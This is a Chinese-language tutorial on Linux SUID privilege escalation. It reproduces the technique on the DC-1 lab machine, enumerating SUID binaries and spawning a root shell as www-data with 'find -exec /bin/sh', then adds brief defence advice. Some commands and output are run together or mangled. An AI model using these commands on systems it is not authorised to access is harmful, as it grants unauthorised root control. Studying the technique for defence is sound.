SUID权限概念
SUID提权是Linux中的一种特殊权限 当一个文件被设置了SUID位 执行该文件的用户回暂时获得所有者的权限 而不是自身权限 通常root的UID为0 因此执行root拥有的SUID文件时 普通用户可临时获得root权限
按我的理解就是 临时借用权限
SUID提权方式
SUID提权的核心是利用系统中被赋予S权限的二进制文件执行命令 从而获取高权限shell 例如
常见可利用的SUID文件
find 可执行命令
vim less 可打开shell 或读取文件
nmap 旧版本可通过交互式执行shell
awk python等解释器执行命令或脚本
查找系统SUID文件
find / -perm -40002>/dev/nullfind / -perm -u=s 2>dev/null
使用 DC-1 靶机进行复现、
www-data@DC-1:/var/www$ ididuid=33(www-data) gid=33(www-data) groups=33(www-data)
可以看到当前是低权限用户 查找系统SUID文件提权
find / -perm -u=s 2>/dev/null/bin/mount/bin/ping/bin/su/bin/ping6/bin/umount/usr/bin/at/usr/bin/chsh/usr/bin/passwd/usr/bin/newgrp/usr/bin/chfn/usr/bin/gpasswd/usr/bin/procmail/usr/bin/find //find 具有S权限/usr/sbin/exim4/usr/lib/pt_chown/usr/lib/openssh/ssh-keysign/usr/lib/eject/dmcrypt-get-device/usr/lib/dbus-1.0/dbus-daemon-launch-helper/sbin/mount.nfswww-data@DC-1:/var/www$
www-data@DC-1:/var/www$ ls -al /usr/bin/findls -al /usr/bin/find-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
find 命令具有S权限 使用 find进行提权
www-data@DC-1:/var/www$ find /etc/passwd -exec /bin/sh \; find /etc/passwd -exec /bin/sh \;# ididuid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)# whoamiwhoamiroot
也可以执行单条命令 不进入交互shell
www-data@DC-1:/var/www$ find /etc/passwd -exec whoami \;find /etc/passwd -exec whoami \;root
防御与检测
严格审查并清理不必要的SUID文件
通过审计SUID异常执行来主动发现威胁